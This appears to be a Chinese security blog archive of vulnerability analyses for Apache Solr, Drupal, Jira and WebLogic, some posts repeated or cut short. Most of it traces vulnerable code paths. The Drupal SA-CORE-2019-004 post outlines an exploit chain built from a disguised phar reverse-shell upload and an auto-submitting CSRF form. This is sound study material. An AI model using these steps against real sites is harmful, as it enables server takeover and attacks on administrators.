下载地址：https://archive.apache.org/dist/lucene/solr/8.2.0/

调试命令

$ cd solr-8.2.0\server
$ java "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000" -Dsolr.solr.home="../example/example-DIH/solr/" -jar start.jar --module=http

IDEA新建远程调试即可

0x03 前置概念

VelocityResponseWriter(Velocity响应编写器)是 contrib/velocity 目录中可用的可选插件。当使用诸如 “_default”、“techproducts” 和 “example / files” 等配置时，它为浏览用户界面提供动力。

必须添加它的 JAR 和依赖项（通过<lib>或 solr/home lib 包含），并且必须在 solrconfig.xml 注册，默认已经注册

其中有一个属性params.resource.loader.enabled，默认是false，需要手动开启

该参数表示允许加载程序在 Solr 请求参数中指定模板，例如：

http://localhost:8983/solr/gettingstarted/select?q=\*:*&wt=velocity&v.template=xxx&v.template.xxx=CUSTOM%3A%20%23core_name

v.template=xxx表示创建一个名为“xxx”的模板，v.template.xxx则是模板内容

当这个属性设置为true时用户就可以传入任意模板内容进行模板注入，从而执行任意命令

0x04 漏洞分析

设置`params.resource.loader.enabled`属性

在Solr的Web.xml文件中能看到所有的请求都交给org.apache.solr.servlet.SolrDispatchFilter来处理

具体的则是其中的doFilter()方法。在对路由经过初步处理后，进行两个关键操作：

HttpSolrCall call = this.getHttpSolrCall(request, response, retry);
//...
SolrDispatchFilter.Action result = call.call();

初始化一个HttpSolrCall对象后调用它的call()方法，在call()方法中会对路由中具体的组件初始化出对应的handler，再由这个handler去调用这个组件的各个方法

在Solr 8.2.0中具体的路由有37个，每一类都有对应的handler，都在org.apache.solr.handler中定义，例如solr/solr/get对应的hendler为RealTimeGetHandler

而/solr/solr/config 由SolrConfigHandler来分别处理GET和POST请求

SolrConfigHandler.Command command = new SolrConfigHandler.Command(req, rsp, httpMethod);
if ("POST".equals(httpMethod)) {
    if (configEditing_disabled || this.isImmutableConfigSet) {
        String reason = configEditing_disabled ? "due to disable.configEdit" : "because ConfigSet is immutable";
        throw new SolrException(ErrorCode.FORBIDDEN, " solrconfig editing is not enabled " + reason);
    }

    try {
        command.handlePOST();
    } finally {
        RequestHandlerUtils.addExperimentalFormatWarning(rsp);
    }
} else {
    command.handleGET();
}

私有类Command会对当前路由的webapp和path做一个切分，对于POST请求，分别会通过SolrConfigHandler.Command#handlePOST()方法来处理

接着调用SolrConfigHandler.Command#handleCommands()，Solr中Config API对应的实现都是由这个方法来完成的，如set-property、unset-property等

此处主要关注更新配置的参数

从文档可以了解对于responsewriter的操作有下面三个

add-queryresponsewriter
update-queryresponsewriter
delete-queryresponsewriter

代码中也能看到对操作名称按-进行分割提取出对应操作，然后由updateNamedPlugin()方法来完成配置文件的创建/覆盖操作，具体跟入看一下

在updateNamedPlugin()中有个verifyClass的调用，当传入参数没有设置runtimeLib时会去创建class字段指定的类，所以当我们传入VelocityResponseWriter时，会在其初始化的时候写入对应的参数

然后返回到handleCommands()中把配置写入到configoverlay.json文件

因此，通过config api可以重新设置VelocityResponseWriter的属性，为下一步加载模板提供入口

三种命令的区别如下：

add- 命令都会将新配置添加到configoverlay.json，这将覆盖solrconfig.xml组件中的任何其他设置； update- 命令覆盖configoverlay.json中的现有设置； delete-命令从configoverlay.json中删除设置

注入自定义模板

在SolrDispatchFilter中有有一个枚举类Action，定义了每个handler的所属的操作，通过ConfigAPI更新配置时，当前的action是PROCESS，因此会进入HttpSolrCall.call()的PROCESS分支

之后通过QueryResponseWriterUtil.writeQueryResponse()进入VelocityResponseWriter.write，在这个方法中完成Velocity的解析

首先会初始化一个解析模板的引擎VelocityEngine，在创建引擎的过程中会检查是否允许参数资源加载，这也就是第一个请求设置的params.resource.loader.enabled属性值。由于solr.resource.loader.enabled默认是开启的，所以此处只需要设置params的值

之后通过Template.getTemplate()设置自定义模板，然后进入Template.merge()进入AST解析，在解析过程中会调用到ASTMethod.execute()方法，这个流程与之前披露的CVE-2019-11581 JIRA模板注入漏洞是一样的，不再赘述，详细可以参考CVE-2019-11581 ATLASSIAN JIRA 未授权模板注入漏洞分析

回过头看一下Velocity渲染的大致流程：

Velocity 渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为 AST 结构，并对 AST 中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为 AST 的开销。

而ASTMethod.execute()方法设计之初是在Velocity parse解析模板的过程中，通过反射调用相关方法完成正常模板渲染动作，例如获取背景颜色、获取 text 内容、获取页面编码等，但当此处攻击者传入精心构造的数据后，利用反射执行了java.lang.Runtime.getRuntime，成功达到命令执行的目的

调用栈

PoC

参考

CVE-2019-0193 Apache Solr远程命令执行漏洞分析

Wed, 07 Aug 2019 10:38:17 +0000

0x01 概述

8月1日，Apache Solr官方发布了CVE-2019-0193漏洞预警，此漏洞存在于可选模块DataImportHandler中，DataImportHandler是用于从数据库或其他源提取数据的常用模块，该模块中所有DIH配置都可以通过外部请求的dataConfig参数来设置，由于DIH配置可以包含脚本，因此该参数存在安全隐患。

参考：https://issues.apache.org/jira/browse/SOLR-13669

0x02 环境搭建

选择Solr 8.1.1二进制版本进行分析和复现

下载地址：https://archive.apache.org/dist/lucene/solr/8.1.1/

调试命令

$ cd solr-8.1.1\server
$ java "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000" -Dsolr.solr.home="../example/example-DIH/solr/" -jar start.jar --module=http

IDEA新建远程调试即可

0x03 前置概念

solr支持从Dataimport导入自定义数据，dataconfig需要满足一定语法，参考

其中ScriptTransformer可以编写自定义脚本，支持常见的脚本语言如Javascript、JRuby、Jython、Groovy和BeanShell

ScriptTransformer容许用脚本语言如Javascript、JRuby、Jython、Groovy和BeanShell转换，函数应当以行（类型为Map<String,Object>）为参数，可以修改字段。脚本应当写在数据仓库配置文件顶级的script元素内，而转换器属性值为script:函数名。

使用示例：

<dataconfig>
  <script><![CDATA[
    function f2c(row) {
      var tempf, tempc;
      tempf = row.get('temp_f');
      if (tempf != null) {
        tempc = (tempf - 32.0)*5.0/9.0;
        row.put('temp_c', temp_c);
      }
      return row;
    }
    ]]>
  </script>
  <document>

    <entity name="e1" pk="id" transformer="script:f2c" query="select * from X">
    </entity>
  </document>
</dataConfig>

Nashorn引擎

在Solr中解析js脚本使用的是Nashorn引擎，可以通过Java.typeAPI在JavaScript中引用，就像Java的import一样，例如：

var MyJavaClass = Java.type(`my.package.MyJavaClass`);

var result = MyJavaClass.sayHello('Nashorn');
print(result);

0x04 漏洞分析

Solr处理dataimport请求时，首先进入dataimport/DataImportHandler的handleRequestBody方法，当前请求的command为full-import，因此通过maybeReloadConfiguration重新加载配置

在maybeReloadConfiguration中通过params.getDataConfig()判断了post的数据(dataConfig)是否为空，如果不是则通过loadDataConfig来加载

随后在loadDataConfig中通过readFromXml方法解析提交的配置数据中的各个标签，比如document，script，function，dataSource等，传入的script自定义脚本即在此处被存入script变量，递归解析完所有标签构建出DIHConfiguration对象并返回。

获取到配置信息后通过this.importer.runCmd()方法处理导入过程

this.importer.runCmd(requestParams, sw);

在doFullImport中，首先会创建一个DocBuilder对象，DocBuilder的主要功能是从给定配置中创建Solr文档，同时会记录一些状态信息。随后通过execute()方法会通过遍历Entity的所有元素来解析config结构，最终得到是一个EntityProcessorWrapper对象。EntityProcessorWrapper是一个比较关键的类，继承自EntityProcessor，在整个解析过程中起到重要的作用，可以参考

https://lucene.apache.org/solr/8_1_1/solr-dataimporthandler/org/apache/solr/handler/dataimport/EntityProcessorWrapper.html

在解析完config数据后solr会把最后更新时间记录到配置文件中，这个时间是为了下次进行增量更新的时候用的。接着通过this.dataImporter.getStatus()判断当前数据导入是“全部导入”还是“增量导入”，两个操作对应的方法分别为doDelta()和doFullDump()，此处的操作是full-import，因此调用doFullDump()

在doFullDump()中调用的是DocBuilder.buildDocument()方法，这个方法会为发送的配置数据的每一个processor做解析，当发送的entity中含有Transformers时，会进行相应的转换操作，例如转换成日期格式(DateFormatTransformer)、根据正则表达式转换(RegexTransformer)等，这次出现问题的是ScriptTransformer，可以根据用户自定义的脚本进行数据转换。由于脚本内容完全是用户控制的，当指定的script含有恶意代码时就会被执行，下面看一下Solr中如何执行javascript代码：

在读取EntityProcessorWrapper的每一个元素时，是通过epw.nextRow()调用的，它返回的是一个Map对象，进入EntityProcessorWrapper.nextRow方法

通过applyTransformer()执行转换，调用的是相应Transformer的transformRow方法

ScriptTransformer允许多种脚本语言调用，如Javascript、JRuby、Jython、Groovy和BeanShell等，transformRow()方法则会根据指定的语言来初始化对应的解析引擎，例如此处初始化的是scriptEngine，用来解析JavaScript脚本

Solr中默认的js引擎是Nashorn，Nashorn是于Java 8中用于取代Rhino（Java 6，Java 7）的JavaScript引擎，在js中可以通过Java.type引用Java类，就像Java的import一样，此处就可以通过这个语法导入任意Java类。

随后通过反射调用自定义的函数并执行，例如通过java.lang.Runtime执行系统命令

整个漏洞就是因为可以通过<script>标签指定ScriptTransformer，而在这个标签内可以导入任意的java类，Solr也并没有对标签内容做限制，导致可以执行任意代码。

调用栈情况

0x05 补充

值得注意的是，官方给出的临时修复方案并不能缓解漏洞，当把相应的index core的配置文件置为空时，dataimport的时候只是获取不到默认的配置，但是依然能够通过这个接口发送PoC，漏洞也依然能够触发，解决办法是把相应配置文件中的dataimport requestHandler全部注释并重启Solr服务器，才能彻底关闭这个接口缓解漏洞。

SA-CORE-2019-008 Drupal访问绕过漏洞分析

Fri, 19 Jul 2019 10:27:05 +0000

0x01 概述

7月17日，Drupal官方发布Drupal核心安全更新公告，修复了一个访问绕过漏洞，攻击者可以在未授权的情况下发布/修改/删除文章，CVE编号CVE-2019-6342

公告地址：https://www.drupal.org/sa-core-2019-008

0x02 受影响的版本

Drupal Version == 8.7.4

0x03 漏洞复现

安装Drupal 8.7.4版本，登录管理员账户，进入后台/admin/modules，勾选Workspaces模块并安装

在页面上方出现如下页面则安装成功，管理员可以切换Stage模式或者Live模式

另外开启一个浏览器访问首页（未登录任何账户），访问http://127.0.0.1/drupal-8.7.4/node/add/article

可直接添加文章，无需作者或管理员权限。

受影响操作包括基本文章操作（添加、修改、删除、上传附件等）

0x04 漏洞分析

Workspaces的功能

Workspaces是Drupal 8.6核心新增的实验模块，主要功能是方便管理员一次性发布/修改多个内容。

Workspaces有两种模式，分别为Stage模式和Live模式，，默认为Live模式，两者的区别在于：

Stage模式下修改内容不会及时更新，所有文章修改完毕后管理员可以通过Deploy to Live发布到实际环境，相当于一个暂存区；

Live下更新是即时的，发布后站点内容立即更新。

在这两种模式下，由于编码失误导致存在一个缺陷：匿名用户无需登录即可创建/发布/修改/删除文章，问题点出现在权限鉴定模块EntityAccess下。

漏洞分析

当用户发起请求时，会根据当前操作回调相关权限检查模块对当前用户权限进行检查，请求调用为事件监听器(EventListener)的RouterListener类，在其onKernelRequest()方法中调用AccessAwareRouter类的matchRequest()方法，随后调用AccessManager->checkRequest()方法，最后在AccessManager->performCheck()方法中通过call_user_func_array回调对应的操作进入到具体的操作权限检查

例如发布文章时回调的是access_check.node.add，相关方法在NodeAccessControlHandler控制器中定义，这个控制器继承自EntityAccessControlHandler，在父类的createAccess()方法中回调对应操作的create_access权限，过程中会拼接上模块名和相应钩子作为回调函数，

$function = module . '_' . $hook

例如此处回调的是workspaces_entity_create_access()方法，进入到Workspaces中。

在调用entityCreateAccess()方法时有一个关键操作bypassAccessResult

bypassAccessResult()方法是一个检查用户是否有"绕过节点访问权限(bypass node access)"的操作，是Workspaces中特有的，这个方法决定了”如果用户在各自的激活的工作区中，那么他将拥有所有权限”，这里的所有权限指文章相关的增删改操作。

这个权限虽然奇怪但确实是一个设计好的功能，正常操作应该在后台admin/people/permissions中配置好用户是否拥有这个权限，默认情况下匿名用户和认证用户都没有权限

当开启了Bypass content entity access in own workspace权限后用户才可以在未登录的情况下发布/删除文章，而此次漏洞就绕过了这个配置，默认情况下进行了越权操作。

具体分析一下bypassAccessResult()的实现，整个过程返回的是AccessResultAllowed对象或者AccessResultNeutral对象，所谓”中立”是因为后续还可能会对结果再做判断，但在这个漏洞中其实就是access和forbidden的区别：

首先获取了当前激活的工作区，然后通过allowedIf判断当前用户是否有权限，随后这些数据存入缓存，包括缓存内容、缓存标签和过期时间。然后再经过一次allowedIfHasPermission判断，这个方法的作用是，如果权限不对就设置一个reason，在这个漏洞中没有起到作用，到目前为止权限校验都是正常的，在没有配置后台工作区匿名权限的时候，返回的是一个AccessResultNeutral对象，也就是”禁止”。

接下来就是出现问题的地方

$owner_has_access->orIf(access_bypass);

通过补丁可以发现漏洞就修补了这行语句，把orIf换成了andIf

这两个方法的设计逻辑比较复杂，最主要的功能是对一个如果返回为”中立”的结果做后续判断，如果采用orIf方法合并，那么是否允许由调用者决定；如果以andIf方法合并，则被当做禁止。

具体到此次漏洞上的区别如下方图片所示：

orIf()

返回的是AccessResultAllowed对象

andIf()

返回的是AccessResultNeutral对象

在检查完毕后会回到AccessAwareRouter->checkAccess()方法，在该方法中对返回结果进行了判断，AccessResultNeutral的isAllowed()返回false，因此会抛出异常

返回到页面上则是Access denied

更新补丁后只有在开启后台匿名用户权限后才能进行文章操作，该选项默认不开启。

0x05 总结

此次漏洞出现在设计过程的一个疏忽，在默认没有分配权限的情况下用户可以绕过权限检查进行发布/删除/修改文章操作，但由于该漏洞仅影响Drupal 8.7.4版本，并且需要开启Workspaces模块，这又是一个实验功能，默认不启用，因此漏洞影响减弱了不少，用户可以升级Drupal版本或者关闭Workspaces模块以消除漏洞影响。

CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析

Wed, 17 Jul 2019 10:52:08 +0000

0x01 概述

7月10日，Atlassian官方发布安全公告，修复了Jira Server和Jira Data Center的一个模板注入漏洞，CVE编号CVE-2019-11581

公告地址：https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html

0x02 环境搭建

使用atlas-debug调试

下载安装Atlassian SDK，地址；
atlas-create-jira-plugin创建一个插件，参考；
atlas-debug开启调试，http端口2990，调试端口5005；
IDEA打开MyPlugin，把WEB-INF/classes和WEB-INF/lib加入library；
新建Remote调试；

其他：

如果没有设置%JAVA_HOME%可以通过SET JAVA_HOME=d:\jdk1.8设置；
默认不开启电子邮件发送，通过atlas-debug --jvmargs -Datlassian.mail.senddisabled=false开启；

0x03 漏洞分析

第一部分：注入代码并生成邮件

post的数据通过JiraSafeActionParameterSetter->setActionProperty()方法

通过反射调用到ContactAdministrators.setSubject()方法，把ContactAdministrators对象的subject属性设置为传入的subject

随后通过ContactAdministrators.doExecute()调用send()方法，在这个方法中会查找系统中已激活的管理员，通过this.sendTo(administrator)将邮件发送给该管理员

在sendTo()流程中，Jira需要通过EmailBuilder()方法创建一个邮件队列对象，随后将该对象放入邮件发送队列中。由于队列等待原因，所以触发payload可能需要等待一段时间，并且当邮件发送失败时系统会继续尝试发送邮件，所以payload可能会触发多次。

创建队列的方法有点长，精简一下就是这个样子

MailQueueItem item = (new EmailBuilder()).withSubject(this.subject).withBodyFromFile().addParameters().renderLater();

通过EmailBuilder的withSubject()方法，创建一个TemplateSources$fragment对象，参数即是我们传入的payload，随后调用renderLater()方法创建出EmailBuilder对象，再将该对象作为参数传递给RenderingMailQueueItem类，RenderingMailQueueItem的继承关系是如下图，于是最终创建出一个MailQueueItem对象，并将该对象放入邮件发送队列。

第二部分：发送邮件

当我们把payload注入到模板中之后，邮件进入待发送队列，Jira中处理邮件队列的具体流程如下：

通过模板引擎(getTemplatingEngine)生成一个Velocity模板，通过applying()方法生成RenderRequest对象，之后根据该对象成员变量source的类型，调用不同的方法解析模板，漏洞的产生正是由于这个差异造成的，下面详细分析一下。

首先进入RenderingMailQueueItem().send()方法，调用this.emailRenderer.render()，随后调用

this.getTemplatingEngine().render(this.subjectTemplate).applying(contextParams).asPlainText();

这个过程中前面是为了获取模板解析引擎（VelocityTemplatingEngine）并传入主题模板（此处为payload数据），通过applying()方法创建VelocityContext对象并把payload赋值给成员变量source

随后重写了抽象类StringRepresentation的with()方法，在with()方法中调用了asPlainText()方法

DefaultRenderRequest.this.asPlainText(sw)

asPlainText()的作用是通过Velocity模板引擎解析模板，其中的调用链是

toWriterImpl()->writeEncodedBodyForContent()->evaluate()

而在evaluate()方法中生成了AST结构，随后通过反射调用传入的payload，完成代码执行。

asPlainText()之后的调用栈如下

在处理完Object模板后会调用父类SingleMailQueueItem的send()方法，通过smtpMailServer.sendWithMessageId()发送邮件，由于没有正确配置SMTP服务会抛出异常，但在连接SMTP服务之前漏洞已经触发了，控制台也能看到MailQueue执行的过程。

思考

上述漏洞流程走完了，但还有一个关键问题没有解决：为什么邮件主题Subject会被解析成AST结构并被执行呢？按照正常发送反馈的逻辑，一封邮件的主题（字符串）似乎没有必要解析成AST，导致差异的原因是什么？

发送一封正常的“联系管理员”邮件，走一遍流程

对比一下两个处理流程，当发送正常反馈时，writeEncodedBody()中调用的是this.getVe().mergeTemplate，通过Velocity引擎的ClasspathResourceLoader()类的getResourceStream()方法加载模板文件，此处的模板是templates/email/html/contactadministrator.vm，随后还会进行header、footer等正常加载流程，最终渲染出整个页面。而发送payload时，通过asPlainText()创建出TemplateSource$Fragment对象，再通过DefaultRenderRequest构造方法把source成员变量赋值为这个Fragment对象，于是进入第一个分支，调用的是this.getVe().evaluate()，最终调用ASTMethod.execute()，这正是前面说的差异性导致的两个不同处理逻辑。

回过头看一下Velocity渲染的大致流程：

Velocity渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为AST结构，并对AST中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为AST的开销。

而ASTMethod.execute()方法设计之初是在Velocity parse解析模板的过程中，通过反射调用相关方法完成正常模板渲染动作，例如获取背景颜色、获取text内容、获取页面编码等，但当此处攻击者传入精心构造的数据后，利用反射执行了java.lang.Runtime.getRuntime，成功达到命令执行的目的，漏洞利用十分精巧。

补充：严格意义上讲这不属于一个模板注入漏洞，因为代码并没有“注入”到某一个模板中，漏洞触发过程是在解析模板文件之前，利用的是解析模板的过程，恶意代码并没有真正落地也没有插入到某个模板里面，所以称之为“代码注入”也许更合适。

参考

CVE-2019-2729 Weblogic XMLDecoder反序列化漏洞分析

Wed, 19 Jun 2019 12:26:39 +0000

漏洞分析

该漏洞是CVE-2019-2725的绕过，因此前面的流程都是一样的，经过21个handler处理，最终进入WorkAreaHeader

在4月份oracle对2725紧急补丁中，过滤了class元素，因此不能再通过class创建对象

这次的绕过实际上就是找到另外的元素代替class进而绕过补丁。

在jdk7中解析xml时获取element元素的相关类为com.sun.beans.decoder.DocumentHandler

当传入array标签，进入ArrayElementHandler，为array元素添加属性时，只能从length，class，id中选择，唯一能创建类的class已经加入了黑名单，所以在jdk1.7下不受此漏洞影响，这次的绕过出现在低于jdk1.7的java版本上。

weblogic 10.3.6.0自带的jdk版本为1.6，jdk1.6中解析xml时有很大的不同，相关处理方法在com.sun.beans.ObjectHandler

解析时首先进入的是startElement方法

该方法首先获取元素的属性并创建一个hashmap，当元素含有属性时，会根据属性值进行类/属性/方法的相关操作，当元素没有属性时，调用的是new方法，例如解析<java>、<void>时。而此时如果传入了method值就会把方法名设置为该值。

随后把方法名设置为我们传入的值，最终通过forName找到指定的类

之后的流程就和2725一样的了

进入WorkContextXmlInputAdapter:readUTF()后的调用栈

补丁分析

6月19日，Oralce官方放出了该漏洞的补丁，详情见这里

分析一下补丁

this.validate(new ByteArrayInputStream(baos.toByteArray()));
this.validateFormat(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));

在原来validate过滤的基础上又增加了一次validateFormat过滤，过滤方法如下

这回终于是采用了白名单方式，allowedName如下

可以看到allowedName严格限制了可以使用的标签，并且也限制了标签可以拥有的属性，值得注意的是allowedName不再允许field标签了，emmm…

总结

这个漏洞是当时应急时简单分析的，后续有时间会详细整理一下。

从整个XMLDecoder反序列化漏洞的来看（CVE-2017-3506 -> CVE-2017-10271(10352) -> CVE-2019-2725 -> CVE-2019-2729），使用黑名单修补漏洞是不靠谱的，永远不知道下一次绕过是在什么时候，而这次的白名单修复方式会不会还存在缺陷呢？此处还得打一个问号。

SA-CORE-2019-004 Drupal内核从XSS到RCE漏洞分析

Mon, 22 Apr 2019 15:19:04 +0000

0x01 概述

3月20日，Drupal官方发布SA-CORE-2019-004漏洞预警，修复了一处文件名处理异常，当我们上传特殊文件名时可以绕过限制在服务器上创建“无后缀”文件，精心构造的文件经过浏览器解析后可以触发XSS漏洞，再进一步可以达到代码执行的目的。

官方描述该漏洞为中危影响，因为该漏洞需要登录，并且需要作者权限来上传文件才能触发。

详细参考：https://www.drupal.org/sa-core-2019-004

0x02 漏洞分析

根据官方补丁，最主要修改了一处preg_replace异常，修改的方法为file.inc:file_create_filename()

该方法的主要功能是处理上传文件的路径，返回形如public://2019-04/1.png的路径，然后由drupal自身实现的方法将public://路径转换为相对路径。如果文件系统已经存在同名文件，则在文件名会追加_0, _1。问题出在这行处理utf-8编码的代码上

$basename = preg_replace('/[\x00-\x1F]/u', '_', $basename);

这行代码的意思的如果文件名中含有0x00-0x1F区间的字符时，将其转换为_。查看标准ASCII码表，字符所对应的十进制数范围为0-127，0x00-0x1F对应的数为0-31，也就是前32个不常见或者说不可显字符。假如我们传入的字符范围大于128时，preg_replace便会出错，返回一个NULL值，于是此时的basename便被赋值为空，而下面对basename也没有多余的操作，于是我们就得到了一个没有后缀的文件，而且这个文件的名称也是可以预测的，相关代码如下

if (file_exists($destination)) {
    // Destination file already exists, generate an alternative.
    $pos = strrpos($basename, '.');
    if ($pos !== FALSE) {
      $name = substr($basename, 0, $pos);
      $ext = substr($basename, $pos);
    }
    else {
      $name = $basename;
      $ext = '';
    }

    $counter = 0;
    do {
      $destination = $directory . $separator . $name . '_' . $counter++ . $ext;
    } while (file_exists($destination));
  }

在开始有一个file_exists判断，所以我们需要上传相同文件至少两次，才能进入if分支。由于$basename为空，$name也被赋值为空，接下来进入一个循环，如果文件已经存在，就把文件命名为路径+分隔符+name+_+counter+后缀的形式，也就是同名文件会被加上后缀_0 _1等，而此时表达式的值即为下划线+计数器的值，于是我们在/sites/default/files/pictures/<YYYY-MM>/目录下得到类似_0 _1的无后缀文件。

值得注意的是，上传的文件可以是任意类型，不局限于图片文件，可以通过http://drupal-site/sites/default/files/<YYYY-MM>/_1访问到文件。

0x03 尝试利用

初探

此时我们想到，可以上传一个html文件，诱使管理员点击形成一个XSS漏洞。

但是这里存在一个问题，当通过Home >> Add content >> 上传Image上传文件时，如果传了一个纯HTML文件，是无法上传成功的，因为在core/modules/file/file.module里有一个检查

$errors = file_validate($file, $validators);

file_validate()方法通过下图4个方法检查图片有效性

其中file_validate_is_image方法使用了ImageFactory库，非图片文件无法通过这个检查，于是上传失败，也就无法在sites/default/files/<YYYY-MM>/生成文件。

当然这里是可以绕过的，那就是在上传的内容前加上图片文件头，例如GIF或GIF89a，能够绕过file_validate_is_image检查上传文件，然而这并没有什么用，因为访问http://drupal-site/sites/default/files/<YYYY-MM>/_1时，浏览器无法判断文件类型，所以不会解析…

也就是说

纯HTML文件无后缀，浏览器可以解析，但是无法上传；
增加图片文件头，可以上传，但是浏览器不能解析；

于是现在陷入一个两难境地，需要找个另外的点。

突破

我们注意到在新建文章页面除了上传图片外，还有一个编辑器内置的图片上传接口，从这个接口分析一下

跟入相关方法，之前的流程都是一样的，同样会进入file_validate()方法，同样检测文件合法性，但是此时的$validators有所不一样：

file_validate_is_image变成了file_validate_image_resolution，这个方法是检测图片是否符合大小，但是对于非图片文件会直接忽略，返回一个空数组

方法说明里也说了会忽略非图片文件

Non-image files will be ignored.

于是file_validate()不报错，校验通过，成功上传文件，目录是sites/default/files/inline-images/，访问文件成功触发

现在可以利用这个漏洞上传一个html文件，攻击面就扩大了许多，简单的可以是一个XSS，复杂的可以是个钓鱼页面(这个漏洞需要作者权限，故可以钓鱼管理员)，再进一步，如何进行命令执行甚至反弹一个shell呢？

组合拳

联想到1月份Drupal官方修复的SA-CORE-2019-002漏洞，文件操作函数处理phar文件时会触发反序列化形成代码执行漏洞，在此处正好可以用上。phar反序列化风险影响几乎所有文件操作函数，而在Drupal中File system功能就存在这个缺陷，在设置本地临时文件夹的时候会进行路径检查，相关方法是system_check_directory()

在这个方法中存在is_dir()函数，当is_dir()函数处理phar:// stream wrapper时，便会触发反序列化，如果传入一个恶意构造的phar文件就可以造成代码执行。

因此现在的思路是，上传一个phar文件，诱使管理员点击链接把临时文件路径设置为phar://test.phar触发漏洞反弹shell

0x04 漏洞利用

通过上述分析，有几个限制需要突破：

生成的phar文件不能通过图片上传接口上传，否则会失败；
需要写一个html让管理员打开链接自动发送请求来修改临时文件路径；

因此漏洞利用分为以下几步：

生成一个能反弹shell的phar文件；

Drupal反序列化的POP链已经比较多了，可以参考这里由 PHPGGC 理解 PHP 反序列化漏洞

选择GuzzleHttp\Psr7类，使用PHARGGC直接生成phar文件
上传phar文件

把out.phar修改为png后缀，通过编辑器的接口上传，获得文件路径

http://127.0.0.1/drupal-8.6.5/sites/default/files/inline-images/phar.png
生成一个html文件

这个html文件需要让管理员打开链接时自动发送请求来修改临时文件路径，与CSRF非常相似，所以直接使用burpsuite抓包生成CSRF PoC

然后增加一个自动点击提交表单的操作，省去手动submit
```
<script type="text/javascript">
    var a  = document.getElementById('form1')
    a.submit()
</script>
```
再通过编辑器的接口上传这个html文件，修改文件名的ascii值大于128。注意需要上传至少两次，以生成_0、_1文件
访问http://drupal-site/sites/default/files/inline-images/_0时浏览器解析为html并自动提交表单，触发漏洞

这里因为反弹shell会把页面卡住，可以增加一个跳转首页，更隐蔽地触发漏洞。

0x05 总结

这个漏洞由一个preg_replace()引起，由于没有正确处理异常，导致可以上传“任意”文件；而phar反序列化漏洞在一年前就已经公布了，把几个漏洞组合在一起形成一条漂亮的攻击链，值得学习。站在管理员角度应该关注安全更新，及时更新应用，而对于开发者来说也要重视安全风险，不可忽视任何一处不起眼的安全隐患。

参考：

CVE-2019-11581 Atlassian Jira未授权模板注入漏洞分析

Fri, 22 Feb 2019 22:19:04 +0000

环境搭建

使用atlas-debug调试

下载安装Atlassian SDK，地址；
atlas-create-jira-plugin创建一个插件，参考；
atlas-debug开启调试，http端口2990，调试端口5005；
IDEA打开MyPlugin，把WEB-INF/classes和WEB-INF/lib加入library；
新建Remote调试；

其他：

如果没有设置%JAVA_HOME%可以通过SET JAVA_HOME=d:\jdk1.8设置；
默认不开启电子邮件发送，通过atlas-debug --jvmargs -Datlassian.mail.senddisabled=false开启；

第一部分：注入代码并生成邮件

post的数据通过JiraSafeActionParameterSetter->setActionProperty()方法

通过反射调用到ContactAdministrators.setSubject()方法，把ContactAdministrators对象的subject属性设置为传入的subject

随后通过ContactAdministrators.doExecute()调用send()方法，在这个方法中会查找系统中已激活的管理员，通过this.sendTo(administrator)将邮件发送给该管理员

创建队列的方法有点长，精简一下就是这个样子

MailQueueItem item = (new EmailBuilder()).withSubject(this.subject).withBodyFromFile().addParameters().renderLater();

第二部分：发送邮件

当我们把payload注入到模板中之后，邮件进入待发送队列，Jira中处理邮件队列的具体流程如下：

通过模板引擎(getTemplatingEngine)生成一个Velocity模板，通过applying()方法生成RenderRequest对象，之后根据该对象成员变量source的类型，调用不同的方法解析模板，漏洞的产生正是由于这个差异造成的，下面详细分析一下。

首先进入RenderingMailQueueItem().send()方法，调用this.emailRenderer.render()，随后调用

this.getTemplatingEngine().render(this.subjectTemplate).applying(contextParams).asPlainText();

这个过程中前面是为了获取模板解析引擎（VelocityTemplatingEngine）并传入主题模板（此处为payload数据），通过applying()方法创建VelocityContext对象并把payload赋值给成员变量source

随后重写了抽象类StringRepresentation的with()方法，在with()方法中调用了asPlainText()方法

DefaultRenderRequest.this.asPlainText(sw)

asPlainText()的作用是通过Velocity模板引擎解析模板，其中的调用链是

toWriterImpl()->writeEncodedBodyForContent()->evaluate()

而在evaluate()方法中生成了AST结构，随后通过反射调用传入的payload，完成代码执行。

asPlainText()之后的调用栈如下

思考

发送一封正常的“联系管理员”邮件，走一遍流程

回过头看一下Velocity渲染的大致流程：

Velocity渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为AST结构，并对AST中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为AST的开销。

参考

SA-CORE-2019-003 Drupal 内核远程代码执行漏洞分析

Fri, 22 Feb 2019 22:19:04 +0000

0x01 概述

https://www.drupal.org/sa-core-2019-003

0x02 影响版本

Drupal 8.6.x < 8.6.10
Drupal 8.5.x < 8.5.11

影响条件

站点启用了Drupal 8核心RESTful Web服务(rest)模块，并允许PATCH或POST请求
站点启用了另一个Web服务模块，如Drupal 8中的JSON:API，或Drupal 7中的Services或RESTful Web Services

0x03 Web Services

Drupal框架的RESTful Web服务是为了更方便地访问Drupal站点的资源，支持常规的api请求，如GET / POST / PATCH / DELETE（出于一些原因不支持PUT ）

更详细的介绍可以参考 https://www.drupal.org/docs/8/core/modules/rest/overview

这个漏洞影响REST Web Services，所以首先在Drupal 8中开启rest服务

下载REST UI并解压至core/modules/目录
在admin-config-extend勾选Web services中的RESTful Web Services和REST UI并安装，drupal会自动安装Serialization ，最好也安装HAL扩展，后续会使用hal_json数据格式

HAL(Hypertext Application Language)是一个简单的API数据格式.它以xml和json为基础，让API变的可读性更高，并且具有discoverable的特性.当我们拿到HAL API返回的数据时，我们将会很容易根据当前数据查找与其相关的数据。在Micro Service API设计中，倾向于采用HAL这种类型的数据交换格式.

HAL的出现，主要弥补plain json在API交互中的不足.让plain json更具有描述性，更具有导航性.

开启权限。在admin-config-services-rest开启匿名用户注册权限

0x04 漏洞分析

